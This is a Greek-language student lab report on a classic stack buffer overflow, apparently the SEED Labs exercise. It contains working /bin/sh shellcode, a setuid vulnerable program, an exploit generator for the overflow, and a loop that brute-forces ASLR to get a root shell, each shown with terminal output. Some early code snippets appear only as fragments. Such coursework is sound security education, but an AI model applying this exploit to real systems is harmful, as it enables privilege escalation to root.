

ΑΣΦΛΕΙΑ ΣΤΗΝ ΤΕΧΝΟΛΟΓΙΑ ΤΗΣ ΠΛΗΡΟΦΟΡΙΑΣ

Καρράς Άγγελος

ΤΙΤΛΟΣ ΕΡΓΑΣΙΑΣ: Buffer Over flows.

Ανάπτυξη και δοκιμή του shellcode :

Αρχικά γράφουμε ένα πρόγραμμα στον editor σε γλώσσα C. Και έπειτα για να το κάνουμε compile θα πρέπει να τρέξουμε την εντολή

gcc shellcode.c -o shellcode -z execstack.

Ο κώδικας του shellcode.c είναι ο πιο κάτω .

```
#include <stdlib.h>
```

```
[04/26/21]seed@VM:~$ gcc shellcode.c -o shellcode -z execstack
[04/26/21]seed@VM:~$ ./shellcode
$ █
```

```
"\x50"
```

Η μεταγλώττιση για το εκτελέσιμο αρχείο shellcode.

```
"\x68" "//sh"
```

Δίνουμε στο shellcode δικαιώματα root.

```
[04/26/21]seed@VM:~$ sudo chown root shellcode
[04/26/21]seed@VM:~$ sudo chmod 4755 shellcode
[04/26/21]seed@VM:~$ ./shellcode
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ █
```

```
"\xcd\x80"
```

Επειτα δημιουργούμε ένα symbolic link με την εντολή ln -sf για να συνδέσουμε το binsh στο zsh.

```
[04/26/21]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
[04/26/21]seed@VM:~$ ./shellcode
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# █
```

Τροποποίηση του shellcode.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =

    "\x31\xc0"
    "\x31\xdb"
    "\xb0\xd5"
    "\xcd\x80"

    //=====

    "\x31\xc0"
    "\x50"
    "\x68" "//sh"
    "\x68" "/bin"
    "\x89\xe3"
    "\x50"
    "\x53"
    "\x89\xe1"
    "\x99"
    "\xb0\x0b"
    "\xcd\x80"
;

int main(int argc, char **argv)
{
    char buf[sizeof(code)];
    strcpy(buf, code);
    ((void(*)())buf)();
}
```

Ευπαθή πρόγραμμα

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];
    strcpy(buffer, str);
    printf("%p\n", &buffer);
    return 1;
}

int main(int argc, char const *argv[])
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("returned Properly\n");
    return 1;
}
```

Για να μπορέσουμε να τρέξουμε εντολές εντός του stack θα πρέπει να τρέξουμε την εντολή
gcc stack.c -o stack -z execstack -fno-stack-protector .

```
[04/26/21]seed@VM:~$ sudo ln -sf /bin/dash /bin/sh
[04/26/21]seed@VM:~$ gcc dash_shellcode.c -o dash_shellcode -z execstack
[04/26/21]seed@VM:~$ ./dash_shellcode
$ █
```

Δικαιώματα.

```
[04/26/21]seed@VM:~$ sudo chown root dash_shellcode
[04/26/21]seed@VM:~$ sudo chmod 4755 dash_shellcode
[04/26/21]seed@VM:~$ ./dash_shellcode
# █
```

Ο κώδικας για δημιουργία του αρχείου badfile., γίνεται μέσα από το πρόγραμμα exploit.c.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
    "\x31\xc0"
    "\x50"
    "\x68" "//sh"
    "\x68" "/bin"
    "\x89\xe3"
    "\x50"
    "\x53"
    "\x89\xe1"
    "\x99"
    "\xb0\x0b"
    "\xcd\x80"
;

int main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    memset(&buffer, 0x90, 517);
    *((long *) (buffer + 0x24)) = 0xbfffead8;
    memcpy(buffer + sizeof(buffer) - sizeof(code), code, sizeof(code));

    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

```
[04/26/21]seed@VM:~$ gcc exploit.c -o exploit
[04/26/21]seed@VM:~$ ./exploit
[04/26/21]seed@VM:~$ █
```


Για να δούμε τα περιεχόμενα του badfile θα χρειαστούμε την εντολή hexdump -C badfile.

```
[04/26/21]seed@VM:~$ hexdump -C badfile
00000000  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |.....|
*
00000020  90 90 90 90 02 ff ff 0b 90 90 90 90 90 90 90 90 |.....|
00000030  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |.....|
*
000001e0  90 90 90 90 90 90 90 90 90 90 90 90 31 c0 50 68 |.....1.Ph|
000001f0  2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 99 |//shh/bin..PS...|
00000200  b0 0b cd 80 00                                     |.....|
00000205
[04/26/21]seed@VM:~$
```

Εύρεση της διεύθυνσης του shellcode μέσα στο badfile.

Θα χρειαστούμε στο εργαλείο gdb .

Με την εντολή : gcc stack.c -o stack_gdb -g -z execstack -fno-stack-protector.

Εκτέλεση του stack_gdb: gdb stack_gdb

Τύπωση τιμή buffer και ebp

```
gdb-peda$ p &buffer
$1 = (char (*)[24]) 0xbfffea58
gdb-peda$ ebp
Undefined command: "ebp". Try "help".
gdb-peda$ p $ebp
$2 = (void *) 0xbfffea78
gdb-peda$ p (0xbfffea78 - 0xbfffea58)
$3 = 0x20
gdb-peda$
```

Υπολογισμός απόστασης από
την εντολή p (ebp - buffer).

Προετοιμασία του αρχείου εισόδου .

Αφού βρήκαμε την διεύθυνση του shellcode που για εμάς είναι 0xbfffead8 θα πρέπει να

Ενημερώσουμε τον κώδικα του exploit.c .

Εκτέλεση της επίθεσης .

```
[04/26/21]seed@VM:~$ gcc exploit.c -o exploit
[04/26/21]seed@VM:~$ ./exploit
[04/26/21]seed@VM:~$ hexdump -C badfile
00000000  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |.....|
*
00000020  90 90 90 90 d8 ea ff bf 90 90 90 90 90 90 90 90 |.....|
00000030  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |.....|
*
000001e0  90 90 90 90 90 90 90 90 90 90 90 90 31 c0 50 68 |.....1.Ph|
000001f0  2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 99 |//shh/bin..PS...|
00000200  b0 0b cd 80 00                                     |.....|
00000205
[04/26/21]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
[04/26/21]seed@VM:~$ ./stack
#
```

Παρακάμψη του ASLR .

Ενεργοποίηση του ASLR με την εντολή `sudo sysctl -w kernel.randomize_va_space=2`.

Έπειτα τρέχοντα στο αρχείο `stack.c` βλέπουμε ότι αποτυγχάνει . Αυτό μπορούμε να το επιβεβαιώσουμε βάζοντας την εντολή `printf("%p\n", buffer);`

Μπορούμε να παρακάμψουμε το `kernel.randomize_va_space` με έναν απλό επαναληπτικό βρόχο

```
#!/bin/bash

SECONDS=0
value=0

while [[ 1 ]]; do
    value=$(( $value + 1 ))
    duration=$SECONDS
    min=$(( $duration / 60 ))
    sec=$(( $duration % 60 ))
    echo "$min minutes and $sec seconds elapsed."
    echo "The program has been running $value times so far."
    ./stack
    echo ""
done
```

Ονομάζουμε το αρχείο `infinite.sh` . Στη συνέχεια δίνουμε δικαιώματα με την εντολή `chmod +x infinity.sh` και το εκτελούμε με `./infinite.sh`.

```
2 minutes and 25 seconds elapsed.
The program has been running 121711 times so far.
0xbfffe968
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# █
```

Δοκιμή υπόλοιπων αντιμετρώων

```
[04/26/21]seed@VM:~$ gcc stack.c -o stack -z execstack
[04/26/21]seed@VM:~$ sudo chown root stack
[04/26/21]seed@VM:~$ sudo chmod 4755 stack
[04/26/21]seed@VM:~$ ./stack
0xbfffea84
*** stack smashing detected ***: ./stack terminated
Aborted
```

```
[04/26/21]seed@VM:~$ gcc stack.c -o stack -fno-stack-protector -z noexecstack
[04/26/21]seed@VM:~$ sudo chown root stack
[04/26/21]seed@VM:~$ sudo chmod 4577 stack
[04/26/21]seed@VM:~$ ./stack
0xbfffea98
Segmentation fault
```